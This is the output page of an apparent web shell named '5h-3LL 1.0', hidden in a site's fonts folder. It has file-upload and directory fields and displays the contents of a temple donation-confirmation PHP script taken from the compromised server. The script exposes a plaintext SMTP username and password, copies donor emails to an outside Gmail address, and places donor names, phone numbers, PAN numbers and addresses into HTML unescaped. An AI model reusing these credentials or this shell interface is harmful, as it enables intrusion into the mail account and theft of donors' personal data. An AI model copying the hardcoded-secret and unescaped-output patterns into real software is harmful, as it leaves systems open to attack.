HOME


5h-3LL 1.0
DIR: /home/aissorg/public_html/fonts/qzfcvsedcv/werwcwsfs
/home/aissorg/public_html/fonts/qzfcvsedcv/werwcwsfs/
Upload File:
Current File : /home/aissorg/public_html/fonts/qzfcvsedcv/werwcwsfs/donation-mail.php.tar
home/aissorg/public_html/donation-mail.php000064400000007641151162215160014721 0ustar00<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
require_once('TCPDF/tcpdf.php');

include('admin/include/config.php');
session_start();

if (!isset($_SESSION['donation_id'])) {
    die("Invalid access.");
}

$donationId = $_SESSION['donation_id'];
unset($_SESSION['donation_id']);

$sql = "SELECT * FROM donations WHERE id = ?";
$stmt = $con->prepare($sql);
$stmt->bind_param("i", $donationId);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
$stmt->close();

if (!$row) {
    die("Donation not found.");
}

// HTML content for email & PDF
$htmlContent = '<div style="border: 2px dashed #503b3a; padding: 10px; width: 590px; font-family: Arial, sans-serif;background: radial-gradient(circle, #FFFF99 50%, #FF8C00 100%);">
    <h2 style="text-align:center;color:#80391e;">Sai Baba Temple Donation Confirmation</h2>
    <p>Dear <strong>' . htmlspecialchars($row['name']) . '</strong>,<br>Thank you for your generous donation. Here are the details:</p>
    <table border="0" style="width: 100%; margin-top: 15px;">
        <tr><td style="padding: 8px;"><strong>Name:</strong></td><td>' . $row['name'] . '</td></tr>
        <tr><td style="padding: 8px;"><strong>Mobile:</strong></td><td>' . $row['mobile'] . '</td></tr>
        <tr><td style="padding: 8px;"><strong>Email:</strong></td><td>' . $row['email'] . '</td></tr>
        <tr><td style="padding: 8px;"><strong>Donation Date:</strong></td><td>' . $row['donation_date'] . '</td></tr>
        <tr><td style="padding: 8px;"><strong>Amount:</strong></td><td>₹' . number_format($row['amount'], 2) . '</td></tr>
        <tr><td style="padding: 8px;"><strong>PAN Number:</strong></td><td>' . $row['pan_number'] . '</td></tr>
        <tr><td style="padding: 8px;"><strong>Address:</strong></td><td>' . $row['address'] . ', ' . $row['landmark'] . ', ' . $row['city'] . ', ' . $row['state'] . ', ' . $row['country'] . ' - ' . $row['zip_code'] . '</td></tr>
        <tr><td style="padding: 8px;"><strong>Purpose:</strong></td><td>' . $row['purpose'] . '</td></tr>
    </table>
</div>';

// Generate PDF
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetCreator('Sai Baba Temple');
$pdf->SetAuthor('Temple Admin');
$pdf->SetTitle('Donation Confirmation');
$pdf->SetMargins(15, 20, 15);
$pdf->AddPage();
$pdf->writeHTML($htmlContent, true, false, true, false, '');

$savePath = __DIR__ . '/temp_pdfs/';
if (!is_dir($savePath)) {
    mkdir($savePath, 0755, true);
}
$pdfFile = $savePath . 'donation_' . $donationId . '.pdf';
$pdf->Output($pdfFile, 'F');

// Send Email
$mail = new PHPMailer(true);

try {
    $mail->isSMTP();
    $mail->Host       = 'v22437909.sin01.serveradd.com';
    $mail->SMTPAuth   = true;
    $mail->Username   = 'admin@aiss.org.in';
    $mail->Password   = 'Oo(hKvdR.52E';
    $mail->SMTPSecure = 'ssl';
    $mail->Port       = 465;
    $mail->setFrom('admin@aiss.org.in', 'Sai Baba Temple');

    if (!empty($row['email']) && filter_var($row['email'], FILTER_VALIDATE_EMAIL)) {
        $mail->addAddress($row['email'], $row['name']); // Donor
    }
    $mail->addAddress('kavintechsolutions@gmail.com'); // Internal notification
    $mail->addBCC($row['email'], $row['name']);
    $mail->addReplyTo($row['email'], $row['name']);

    $mail->isHTML(true);
    $mail->Subject = "Sai Baba Donation Confirmation";
    $mail->Body    = $htmlContent;

    $mail->addAttachment($pdfFile); // Attach PDF

    $mail->send();

    unlink($pdfFile); // Clean up after send

    echo "<script>alert('Donation confirmation email with PDF sent successfully.'); window.location.href='index.php';</script>";
} catch (Exception $e) {
    echo "Email could not be sent. Mailer Error: {$mail->ErrorInfo}";
    unlink($pdfFile);
}
?>